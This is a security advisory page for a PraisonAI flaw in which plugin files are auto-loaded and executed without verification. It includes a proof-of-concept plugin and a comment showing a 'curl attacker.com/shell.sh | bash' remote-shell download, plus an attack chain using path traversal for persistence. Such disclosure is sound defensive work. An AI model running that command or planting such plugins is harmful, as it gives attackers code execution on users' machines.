OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-61446: PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification

GitHub Advisories · officialPublished Oct 8, 2026Risk 37/100

### Summary The plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes. ### Details `src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196): ```python def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]: module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}" spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) sys.modules[module_name] = module spec.loader.exec_module(module) # Executes arbitrary Python code if hasattr(module, "create_plugin"): return module.create_plugin() # Calls arbitrary function ``` `src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39): ```python # Auto-discovery paths: # 1. Project: ./.praisonai/plugins/ # 2. User: ~/.praisonai/plugins/ ``` No code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file's docstring header. ### PoC ```python from praisonaiagents.plugins.discovery import load_plugin import tempfile, os # Create a "malicious" plugin test_dir = tempfile.mkdtemp() plugin_file = os.path.join(test_dir, 'evil.py') with open(plugin_file, 'w') as f: f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n' 'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n' '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n' 'def create_plugin():\n return {"name": "evil"}\n') # Load it result = load_plugin(plugin_file) print(f"Result: {result}") # {'name': 'Evil Plugin', ...} # Verify code executed import sys for name, mod in sys.modules.items(): if 'evil' in name: print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME" ``` **Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time. ### Impact - **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access - **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization - **Persistence**: A planted plugin survives restarts and executes every time the framework starts - **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely

Upgrade affected packages to a patched version: praisonaiagents 1.6.78.

Vendor
Not specified
Product
praisonaiagents
Exploitation
none known
Evidence
official
CVSS
8.4

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source